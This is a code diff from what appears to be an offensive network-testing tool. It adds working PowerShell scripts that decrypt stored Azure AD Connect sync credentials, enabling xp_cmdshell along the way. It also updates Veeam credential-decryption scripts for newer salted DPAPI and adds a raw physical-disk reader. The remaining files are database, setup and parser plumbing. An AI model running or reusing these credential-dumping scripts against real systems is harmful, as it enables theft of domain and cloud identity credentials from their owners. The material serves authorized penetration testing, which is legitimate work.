if len(ntlm_hash) != 32 and len(ntlm_hash) != 65 and len(ntlm_hash) != 0:
self.logger.fail(f"Invalid NTLM hash length {len(ntlm_hash)}, authentication not sent")
exit(1)
else:
@@ -463,8 +484,6 @@ class connection:
return False
if self.args.continue_on_success and owned:
return False
if hasattr(self.args, "delegate") and self.args.delegate:
self.args.kerberos = True
if self.args.jitter:
jitter = self.args.jitter
@@ -479,7 +498,7 @@ class connection:
with sem:
if cred_type == "plaintext":
if self.args.kerberos:
if self.kerberos:
self.logger.debug("Trying to authenticate using Kerberos")
return self.kerberos_login(domain, username, secret, "", "", self.kdcHost, False)
elif hasattr(self.args, "domain"): # Some protocols don't use domain for login
@@ -492,7 +511,7 @@ class connection:
self.logger.debug("Trying to authenticate using plaintext")
return self.plaintext_login(username, secret)
elif cred_type == "hash":
if self.args.kerberos:
if self.kerberos:
return self.kerberos_login(domain, username, "", secret, "", self.kdcHost, False)
return self.hash_login(domain, username, secret)
elif cred_type == "aesKey":
@@ -539,9 +558,17 @@ class connection:
self.logger.info("Successfully authenticated using Kerberos cache")
return True
if self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert:
self.logger.debug("Trying to authenticate using Certificate pfx")
if not self.args.username:
self.logger.fail("You must specify a username when using certificate authentication")
return False
with sem:
return pfx_auth(self)
if hasattr(self.args, "laps") and self.args.laps:
self.logger.debug("Trying to authenticate using LAPS")
username[0], secret[0], domain[0], ntlm_hash = laps_search(self, username, secret, cred_type, domain)
username[0], secret[0], domain[0] = laps_search(self, username, secret, cred_type, domain, self.dns_server)
cred_type = ["plaintext"]
if not (username[0] or secret[0] or domain[0]):
return False
+4 -2
View File
@@ -1,6 +1,8 @@
import configparser
import os
from nxc.paths import NXC_PATH, CONFIG_PATH
class Context:
def __init__(self, db, logger, args):
@@ -8,10 +10,10 @@ class Context:
setattr(self, key, value)
self.db = db
self.log_folder_path = os.path.join(os.path.expanduser("~/.nxc"), "logs")
self.log_folder_path = os.path.join(NXC_PATH, "logs")
self.localip = None
self.conf = configparser.ConfigParser()
self.conf.read(os.path.expanduser("~/.nxc/nxc.conf"))
self.conf.read(CONFIG_PATH)
self.log = logger
+82
View File
@@ -0,0 +1,82 @@
# Original script by @_xpn_: https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c
# Modified by @NeffIsBack:
# - Added support for Entra ID sync credentials (original source: https://github.com/Gerenios/AADInternals-Endpoints/blob/6af2054705e900b733ba76c6e65bfa6cad2328cc/AADSyncSettings.ps1#L108-L116)
# Function to decrypt the encrypted configuration of the Azure AD Connect sync stuff
function decrypter($crypted, $key_id, $instance_id, $entropy) {
$cmd = $client.CreateCommand()
$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
$reader = $cmd.ExecuteReader()
$decrypted = [string]::Empty
while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
$decrypted += $reader.GetString(0)
}
$reader.Close()
if ($decrypted -eq [string]::Empty) {
Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
return
}
return $decrypted
}
# Create a connection to the localdb instance of Azure AD Connect
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync2019;Initial Catalog=ADSync"
try {
$client.Open()
} catch {
Write-Host "[!] Could not connect to localdb, Entra ID sync probably not installed"
return
}
function f {
param ($q)
$c = $client.CreateCommand()
$c.CommandText = $q
$r = $c.ExecuteReader()
if (-not $r.Read()) {
Write-Host "[!] Error querying: $q"
return
}
$res = for ($i = 0; $i -lt $r.FieldCount; $i++) { $r.GetValue($i) }
$r.Close()
return $res
}
# Get keyset_id, instance_id, entropy
$out = f "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
if (-not $out) { return }
$key_id, $instance_id, $entropy = $out
# Get and decrypt on-prem AD credentials
$out = f "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
if (-not $out) { return }
$on_prem, $c = $out
$pd = decrypter $c $key_id $instance_id $entropy
# Get and decrypt Entra ID sync credentials
$out = f "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE subtype = 'Windows Azure Active Directory (Microsoft)'"
if (-not $out) { return }
$entra, $c = $out
$qd = decrypter $c $key_id $instance_id $entropy
# Extract the credentials from the decrypted XML configurations
$domain = select-xml -Content $on_prem -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
$username = select-xml -Content $on_prem -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
$pw = select-xml -Content $pd -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
Write-Host "On-prem Domain: $($domain.Domain)"
Write-Host "On-prem Username: $($username.Username)"
Write-Host "On-prem Password: $($pw.Password)"
# Extract the Entra ID sync credentials
$entra_user = ([xml]$entra).MAConfig.'parameter-values'.parameter[0].'#text'
$entra_pw = select-xml -Content $qd -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
Write-Host "Entra ID Username: $($entra_user)"
Write-Host "Entra ID Password: $($entra_pw.Password)"
-65
View File
@@ -1,65 +0,0 @@
$sqlbin=@(Get-ChildItem -Path C:\"Program Files"\"Microsoft SQL Server"\ -Filter sqllocaldb.exe -Recurse).fullname
$db=@(cmd /c $sqlbin info | findstr /i ADSy)
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\$db;Initial Catalog=ADSync"
try {
$client.Open()
} catch {
Write-Host "[!] Could not connect to localdb..."
return
}
Write-Host "[*] Querying ADSync localdb (mms_server_configuration)"
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
if ($reader.Read() -ne $true) {
Write-Host "[!] Error querying mms_server_configuration"
return
}
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()
Write-Host "[*] Querying ADSync localdb (mms_management_agent)"
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
if ($reader.Read() -ne $true) {
Write-Host "[!] Error querying mms_management_agent"
return
}
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()
Write-Host "[*] Using xp_cmdshell to run some Powershell as the service user"
$cmd = $client.CreateCommand()
$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key = `$null;`$km.GetActiveCredentialKey([ref]`$key);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
$reader = $cmd.ExecuteReader()
$decrypted = [string]::Empty
while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
$decrypted += $reader.GetString(0)
}
if ($decrypted -eq [string]::Empty) {
Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
return
}
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
Write-Host "Domain: $($domain.Domain)"
Write-Host "Username: $($username.Username)"
Write-Host "Password: $($password.Password)"
+95
View File
@@ -0,0 +1,95 @@
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
using Microsoft.Win32.SafeHandles;
public class CNativeMethods
{
public const uint GENERIC_READ = 0x80000000;
public const uint OPEN_EXISTING = 3;
public const uint FILE_SHARE_READ = 0x00000001;
public const uint FILE_SHARE_WRITE = 0x00000002;
public const uint FILE_SHARE_DELETE = 0x00000004;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern SafeFileHandle CreateFile(
string lpFileName,
uint dwDesiredAccess,
uint dwShareMode,
IntPtr lpSecurityAttributes,
uint dwCreationDisposition,
uint dwFlagsAndAttributes,
IntPtr hTemplateFile
);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool ReadFile(
SafeFileHandle hFile,
byte[] lpBuffer,
uint nNumberOfBytesToRead,
out uint lpNumberOfBytesRead,
IntPtr lpOverlapped
);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetFilePointerEx(
SafeFileHandle hFile,
long lDistanceToMove,
out long lpNewFilePointer,
uint dwMoveMethod
);
}
public enum EMoveMethod : uint
{
Begin = 0,
Current = 1,
End = 2
}
"@
Function read_disk{
$offset = [long]$args[0]
$size = [int]$args[1]
try {
$handle = [CNativeMethods]::CreateFile("\\.\PHYSICALDRIVE0",
[CNativeMethods]::GENERIC_READ,
[CNativeMethods]::FILE_SHARE_READ -bor [CNativeMethods]::FILE_SHARE_WRITE -bor [CNativeMethods]::FILE_SHARE_DELETE,
[IntPtr]::Zero, [CNativeMethods]::OPEN_EXISTING, 0, [IntPtr]::Zero)
if ($handle.IsInvalid) {
throw "Failed to create file handle"
}
$moveToHigh = 0
$success = [CNativeMethods]::SetFilePointerEx($handle, $offset, [ref]$moveToHigh, [EMoveMethod]::Begin)
if (-not $success) {
throw "Failed to set file pointer"
}
$buffer = New-Object byte[] $size
$bytesRead = 0
$success = [CNativeMethods]::ReadFile($handle, $buffer, $size, [ref]$bytesRead, [IntPtr]::Zero)
if (-not $success) {
throw "Failed to read file"
}
$memoryStream = New-Object System.IO.MemoryStream
$gzipStream = New-Object System.IO.Compression.GzipStream($memoryStream, [System.IO.Compression.CompressionMode]::Compress)
$gzipStream.Write($buffer, 0, $buffer.Length)
$gzipStream.Close()
$compressedBytes = $memoryStream.ToArray()
$compressedBase64 = [Convert]::ToBase64String($compressedBytes)
Write-Output $compressedBase64
} catch {
Write-Error "An error occurred: $_"
}
finally {
if ($handle -and !$handle.IsInvalid) {
$handle.Close()
}
}
}
+4 -1
View File
@@ -5,8 +5,8 @@ pwn3d_label = Pwn3d!
audit_mode =
reveal_chars_of_pwd = 0
log_mode = False
ignore_opsec = True
host_info_colors = ["green", "red", "yellow", "cyan"]
check_guest_account = False
[BloodHound]
bh_enabled = False
@@ -15,6 +15,9 @@ bh_port = 7687
bh_user = neo4j
bh_pass = bloodhoundcommunityedition
[BloodHound-CE]
bhce_enabled = True
[Empire]
api_host = 127.0.0.1
api_port = 1337
Binary file not shown.
@@ -1,9 +1,10 @@
$SqlDatabaseName = "REPLACE_ME_SqlDatabase"
$SqlServerName = "REPLACE_ME_SqlServer"
$SqlInstanceName = "REPLACE_ME_SqlInstance"
$b64Salt = "REPLACE_ME_b64Salt"
#Forming the connection string
$SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
$SQL = "SELECT [user_name] AS 'User', [password] AS 'Password', [description] AS 'Description' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
$auth = "Integrated Security=SSPI;" #Local user
$connectionString = "Provider=sqloledb; Data Source=$SqlServerName\$SqlInstanceName; Initial Catalog=$SqlDatabaseName; $auth;"
$connection = New-Object System.Data.OleDb.OleDbConnection $connectionString
@@ -22,19 +23,46 @@ catch {
exit -1
}
$rows=($dataset.Tables | Select-Object -Expand Rows)
if ($rows.count -eq 0) {
$output=($dataset.Tables | Select-Object -Expand Rows)
if ($output.count -eq 0) {
Write-Host "No passwords found!"
exit
}
Add-Type -assembly System.Security
#Decrypting passwords using DPAPI
$rows | ForEach-Object -Process {
$EnryptedPWD = [Convert]::FromBase64String($_.password)
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
# Decrypting passwords using DPAPI
$output | ForEach-Object -Process {
$EncryptedPWD = [Convert]::FromBase64String($_.password)
$enc = [system.text.encoding]::Default
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
try {
# Decrypt password with DPAPI (old Veeam versions)
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
} catch {
try{
# Decrypt password with salted DPAPI (new Veeam versions)
$salt = [System.Convert]::FromBase64String($b64Salt)
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
foreach ($byte in $EncryptedPWD)
{
$hex.AppendFormat("{0:x2}", $byte) > $null
}
$hex = $hex.ToString().Substring(74,$hex.Length-74)
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
for ($i = 0; $i -lt $hex.Length; $i += 2)
{
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
}
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
}catch {
$pw_string = "COULD_NOT_DECRYPT"
}
}
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
$_.password = $pw_string
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
}
Write-Output $rows | Format-Table -HideTableHeaders | Out-String
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000
@@ -1,8 +1,9 @@
$PostgreSqlExec = "REPLACE_ME_PostgreSqlExec"
$PostgresUserForWindowsAuth = "REPLACE_ME_PostgresUserForWindowsAuth"
$SqlDatabaseName = "REPLACE_ME_SqlDatabaseName"
$b64Salt = "REPLACE_ME_b64Salt"
$SQLStatement = "SELECT user_name AS User,password AS Password FROM credentials WHERE password != '';"
$SQLStatement = "SELECT user_name AS User, password AS Password, description AS Description FROM credentials WHERE password != '';"
$output = . $PostgreSqlExec -U $PostgresUserForWindowsAuth -w -d $SqlDatabaseName -c $SQLStatement --csv | ConvertFrom-Csv
if ($output.count -eq 0) {
@@ -10,13 +11,40 @@ if ($output.count -eq 0) {
exit
}
# Decrypting passwords using DPAPI
Add-Type -assembly System.Security
#Decrypting passwords using DPAPI
$output | ForEach-Object -Process {
$EnryptedPWD = [Convert]::FromBase64String($_.password)
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
$EncryptedPWD = [Convert]::FromBase64String($_.password)
$enc = [system.text.encoding]::Default
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
try {
# Decrypt password with DPAPI (old Veeam versions)
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
} catch {
try{
# Decrypt password with salted DPAPI (new Veeam versions)
$salt = [System.Convert]::FromBase64String($b64Salt)
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
foreach ($byte in $EncryptedPWD)
{
$hex.AppendFormat("{0:x2}", $byte) > $null
}
$hex = $hex.ToString().Substring(74,$hex.Length-74)
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
for ($i = 0; $i -lt $hex.Length; $i += 2)
{
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
}
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
}catch {
$pw_string = "COULD_NOT_DECRYPT"
}
}
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
$_.password = $pw_string
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
}
Write-Output $output | Format-Table -HideTableHeaders | Out-String
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000
+126 -26
View File
@@ -1,13 +1,22 @@
import sys
import configparser
import ipaddress
import shutil
from sqlalchemy import create_engine
from sqlite3 import connect
import sys
from os import mkdir
from os.path import exists
from os.path import join as path_join
from pathlib import Path
from threading import Lock
from sqlalchemy import Table, create_engine, MetaData, func
from sqlalchemy.exc import (
IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
from sqlalchemy.orm import sessionmaker, scoped_session
from nxc.loaders.protocolloader import ProtocolLoader
from nxc.logger import nxc_logger
from nxc.paths import WORKSPACE_DIR
@@ -45,6 +54,22 @@ def write_configfile(config, config_path):
config.write(configfile)
def init_protocol_dbs(workspace_name, p_loader=None):
"""Check for each protocol if the database exists, if not create it."""
if p_loader is None:
p_loader = ProtocolLoader()
protocols = p_loader.get_protocols()
for protocol in protocols:
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db")
if not exists(proto_db_path):
print(f"[*] Initializing {protocol.upper()} protocol database")
db_engine = create_db_engine(proto_db_path)
protocol_object.database.db_schema(db_engine)
db_engine.dispose()
def create_workspace(workspace_name, p_loader=None):
"""
Create a new workspace with the given name.
@@ -62,29 +87,8 @@ def create_workspace(workspace_name, p_loader=None):
else:
print(f"[*] Creating {workspace_name} workspace")
mkdir(path_join(WORKSPACE_DIR, workspace_name))
if p_loader is None:
p_loader = ProtocolLoader()
protocols = p_loader.get_protocols()
for protocol in protocols:
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db")
if not exists(proto_db_path):
print(f"[*] Initializing {protocol.upper()} protocol database")
conn = connect(proto_db_path)
c = conn.cursor()
# try to prevent some weird sqlite I/O errors
c.execute("PRAGMA journal_mode = OFF")
c.execute("PRAGMA foreign_keys = 1")
protocol_object.database.db_schema(c)
# commit the changes and close everything off
conn.commit()
conn.close()
init_protocol_dbs(workspace_name, p_loader)
def delete_workspace(workspace_name):
@@ -94,4 +98,100 @@ def delete_workspace(workspace_name):
def initialize_db():
if not exists(path_join(WORKSPACE_DIR, "default")):
create_workspace("default")
create_workspace("default")
# Even if the default workspace exists, we still need to check if every protocol has a database (in case of a new protocol)
init_protocol_dbs("default")
def format_host_query(q, filter_term, HostsTable):
"""One annoying thing is that if you search for an ip such as '10.10.10.5',
it will return 10.10.10.5 and 10.10.10.52, so we have to check if its an ip address first
"""
# the FTP and SSH protocols call the column host instead of IP
# TODO: normalize these column names
if hasattr(HostsTable.c, "ip"):
ip_column = HostsTable.c.ip
nxc_logger.debug("Using 'ip' column for filtering")
elif hasattr(HostsTable.c, "host"):
ip_column = HostsTable.c.host
nxc_logger.debug("Using 'host' column for filtering")
else:
nxc_logger.debug("Neither 'ip' nor 'host' columns found in the table")
return q
# first we check if its an ip address
try:
ipaddress.ip_address(filter_term)
nxc_logger.debug(f"filter_term is an IP address: {filter_term}")
q = q.filter(ip_column == filter_term)
except ValueError:
nxc_logger.debug(f"filter_term is not an IP address: {filter_term}")
like_term = func.lower(f"%{filter_term}%")
# check if the hostname column exists for hostname searching
q = q.filter(ip_column.like(like_term) | func.lower(HostsTable.c.hostname).like(like_term)) if hasattr(HostsTable.c, "hostname") else q.filter(ip_column.like(like_term))
return q
class BaseDB:
def __init__(self, db_engine):
self.db_engine = db_engine
self.db_path = self.db_engine.url.database
self.protocol = Path(self.db_path).stem.upper()
self.metadata = MetaData()
self.reflect_tables()
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
session = scoped_session(session_factory)
self.sess = session()
self.lock = Lock()
def reflect_tables(self):
raise NotImplementedError("Reflect tables not implemented")
def reflect_table(self, table):
with self.db_engine.connect():
try:
reflected_table = Table(table.__tablename__, self.metadata, autoload_with=self.db_engine)
# Check for column addition / deletion
reflected_columns = set(reflected_table.columns.keys())
orm_columns = {column.name for column in table.__table__.columns}
if reflected_columns != orm_columns:
raise ValueError(f"Schema mismatch detected! ORM columns: {orm_columns}, Reflected columns: {reflected_columns}")
# Check for constraint changes
reflected_constraints = [(type(c), c.columns.keys()) for c in reflected_table._sorted_constraints]
orm_constraints = [(type(c), c.columns.keys()) for c in table.__table__._sorted_constraints]
if reflected_constraints != orm_constraints:
raise ValueError(f"Schema mismatch detected! ORM constraints: {orm_constraints}, Reflected constraints: {reflected_constraints}")
return reflected_table
except (NoInspectionAvailable, NoSuchTableError, ValueError) as e:
nxc_logger.fail(f"Schema mismatch detected for table '{table.__tablename__}' in protocol '{self.protocol}'")
nxc_logger.debug(e)
nxc_logger.fail("This is probably because a newer version of nxc is being run on an old DB schema.")
nxc_logger.fail(f"Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)")
nxc_logger.fail(f"Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB")
sys.exit()
def shutdown_db(self):
try:
self.sess.close()
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except IllegalStateChangeError as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
for table in self.metadata.sorted_tables:
self.db_execute(table.delete())
def db_execute(self, *args):
self.lock.acquire()
res = self.sess.execute(*args)
self.lock.release()
return res
+13 -8
View File
@@ -8,18 +8,16 @@ from nxc.logger import nxc_logger
def first_run_setup(logger=nxc_logger):
if not exists(TMP_PATH):
mkdir(TMP_PATH)
if not exists(NXC_PATH):
logger.display("First time use detected")
logger.display("Creating home directory structure")
mkdir(NXC_PATH)
if not exists(TMP_PATH):
mkdir(TMP_PATH)
folders = (
"logs",
"modules",
"protocols",
"workspaces",
"obfuscated_scripts",
"screenshots",
@@ -29,13 +27,20 @@ def first_run_setup(logger=nxc_logger):
logger.display(f"Creating missing folder {folder}")
mkdir(path_join(NXC_PATH, folder))
log_subfolders = (
"sam",
"lsa",
"ntds",
"dpapi",
)
for subfolder in log_subfolders:
if not exists(path_join(NXC_PATH, f"logs/{subfolder}")):
logger.display(f"Creating missing folder logs/{subfolder}")
mkdir(path_join(NXC_PATH, f"logs/{subfolder}"))
initialize_db()
if not exists(CONFIG_PATH):
logger.display("Copying default configuration file")
default_path = path_join(DATA_PATH, "nxc.conf")
shutil.copy(default_path, NXC_PATH)
# if not exists(CERT_PATH):
# if os.name != 'nt':
# if e.errno == errno.ENOENT:
+32 -1
View File
@@ -1,4 +1,6 @@
from argparse import ArgumentDefaultsHelpFormatter, SUPPRESS, OPTIONAL, ZERO_OR_MORE
from argparse import Action
class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter):
def _get_help_string(self, action):
@@ -7,4 +9,33 @@ class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter):
defaulting_nargs = [OPTIONAL, ZERO_OR_MORE]
if (action.option_strings or action.nargs in defaulting_nargs) and action.default: # Only add default info if it's not None
help_string += " (default: %(default)s)" # NORUFF
return help_string
return help_string
class DefaultTrackingAction(Action):
def __init__(self, option_strings, dest, default=None, required=False, **kwargs):
# Store the default value to check later
self.default_value = default
super().__init__(
option_strings, dest, default=default, required=required, **kwargs
)
def __call__(self, parser, namespace, values, option_string=None):
# Set an attribute to track whether the value was explicitly set
setattr(namespace, self.dest, values)
setattr(namespace, f"{self.dest}_explicitly_set", True)
def get_conditional_action(baseAction):
class ConditionalAction(baseAction):
def __init__(self, option_strings, dest, **kwargs):
x = kwargs.pop("make_required", [])
super().__init__(option_strings, dest, **kwargs)
self.make_required = x
def __call__(self, parser, namespace, values, option_string=None):
for x in self.make_required:
x.required = True
super().__call__(parser, namespace, values, option_string)
return ConditionalAction
+214
View File
@@ -0,0 +1,214 @@
# SPDX-License-Identifier: GPL-2.0+
import struct
import uuid
from datetime import datetime
from nxc.logger import nxc_logger
class Substitution:
def __init__(self, buf, offset):
(sub_token, sub_id, sub_type) = struct.unpack_from("<BHB", buf, offset)
self.length = 4
self._id = sub_id
self._type = sub_type
self._optional = sub_token == 0x0e
def xml(self, template=None):
value = template.values[self._id]
if value.type == 0x0:
return None if self._optional else ""
if self._type == 0x1:
return value.data.decode("utf16")
elif self._type == 0x4:
return str(struct.unpack("<B", value.data)[0])
elif self._type == 0x6:
return str(struct.unpack("<H", value.data)[0])
elif self._type == 0x8:
return str(struct.unpack("<I", value.data)[0])
elif self._type == 0xa:
return str(struct.unpack("<Q", value.data)[0])
elif self._type == 0x11:
# see http://integriography.wordpress.com/2010/01/16/using-phython-to-parse-and-present-windows-64-bit-timestamps/
return datetime.utcfromtimestamp(struct.unpack("<Q", value.data)[0] / 1e7 - 11644473600).isoformat()
elif self._type == 0x13:
# see http://www.gossamer-threads.com/lists/apache/bugs/386930
revision, number_of_sub_ids = struct.unpack_from("<BB", value.data)
iav = struct.unpack_from(">Q", value.data, 2)[0]
sub_ids = [struct.unpack("<I", value.data[8 + 4 * i:12 + 4 * i])[0] for i in range(number_of_sub_ids)]
return "S-{}-{}-{}".format(revision, iav, "-".join([str(sub_id) for sub_id in sub_ids]))
elif self._type == 0x15 or self._type == 0x10:
return value.data.hex()
elif self._type == 0x21:
return value.template.xml()
elif self._type == 0xf:
return str(uuid.UUID(bytes_le=value.data))
else:
nxc_logger.display(f"Unknown value type {hex(value.type)}")
class Value:
def __init__(self, buf, offset):
token, string_type, length = struct.unpack_from("<BBH", buf, offset)
self._val = buf[offset + 4:offset + 4 + length * 2].decode("utf16")
self.length = 4 + length * 2
def xml(self, template=None):
return self._val
class Attribute:
def __init__(self, buf, offset):
struct.unpack_from("<B", buf, offset)
self._name = Name(buf, offset + 1)
(next_token) = struct.unpack_from("<B", buf, offset + 1 + self._name.length)
if next_token[0] == 0x05 or next_token == 0x45:
self._value = Value(buf, offset + 1 + self._name.length)
elif next_token[0] == 0x0e:
self._value = Substitution(buf, offset + 1 + self._name.length)
else:
nxc_logger.display(f"Unknown attribute next_token {hex(next_token[0])} {hex(offset + 1 + self._name.length)}")
self.length = 1 + self._name.length + self._value.length
def xml(self, template=None):
val = self._value.xml(template)
return None if val is None else f'{self._name.val}="{val}"'
class Name:
def __init__(self, buf, offset):
hashs, length = struct.unpack_from("<HH", buf, offset)
self.val = buf[offset + 4:offset + 4 + length * 2].decode("utf16")
self.length = 4 + (length + 1) * 2
class Element:
def __init__(self, buf, offset):
token, dependency_id, length = struct.unpack_from("<BHI", buf, offset)
self._name = Name(buf, offset + 7)
self._dependency = dependency_id
ofs = offset + 7 + self._name.length
if token == 0x41:
struct.unpack_from("<I", buf, ofs)
ofs += 4
self._children = []
self._attributes = []
while True:
next_token = buf[ofs]
if next_token == 0x06 or next_token == 0x46:
attr = Attribute(buf, ofs)
self._attributes.append(attr)
ofs += attr.length
elif next_token == 0x02:
self._empty = False
ofs += 1
while True:
next_token = buf[ofs]
if next_token == 0x01 or next_token == 0x41:
element = Element(buf, ofs)
elif next_token == 0x04:
ofs += 1
break
elif next_token == 0x05:
element = Value(buf, ofs)
elif next_token == 0x0e or next_token == 0x0d:
element = Substitution(buf, ofs)
else:
nxc_logger.display(f"Unknown intern next_token {hex(next_token)} {hex(ofs)}")
break
self._children.append(element)
ofs += element.length
break
elif next_token == 0x03:
self._empty = True
ofs += 1
break
else:
nxc_logger.display(f"Unknown element next_token {hex(next_token)} {hex(ofs)}")
break
self.length = ofs - offset
def xml(self, template=None):
if self._dependency != 0xFFFF and template.values[self._dependency].type == 0x00:
return ""
attrs = filter(lambda x: x is not None, (x.xml(template) for x in self._attributes))
attrs = " ".join(attrs)
if len(attrs) > 0:
attrs = " " + attrs
if self._empty:
return f"<{self._name.val}{attrs}/>"
else:
children = (x.xml(template) for x in self._children)
return "<{}{}>{}</{}>".format(self._name.val, attrs, "".join(children), self._name.val)
class ValueSpec:
def __init__(self, buf, offset, value_offset):
self.length, self.type, value_eof = struct.unpack_from("<HBB", buf, offset)
self.data = buf[value_offset:value_offset + self.length]
if self.type == 0x21:
self.template = BinXML(buf, value_offset)
class TemplateInstance:
def __init__(self, buf, offset):
token, unknown0, guid, length, next_token = struct.unpack_from("<BB16sIB", buf, offset)
if next_token == 0x0F:
self._xml = BinXML(buf, offset + 0x16)
eof, num_values = struct.unpack_from("<BI", buf, offset + 22 + self._xml.length)
values_length = 0
self.values = []
for x in range(num_values):
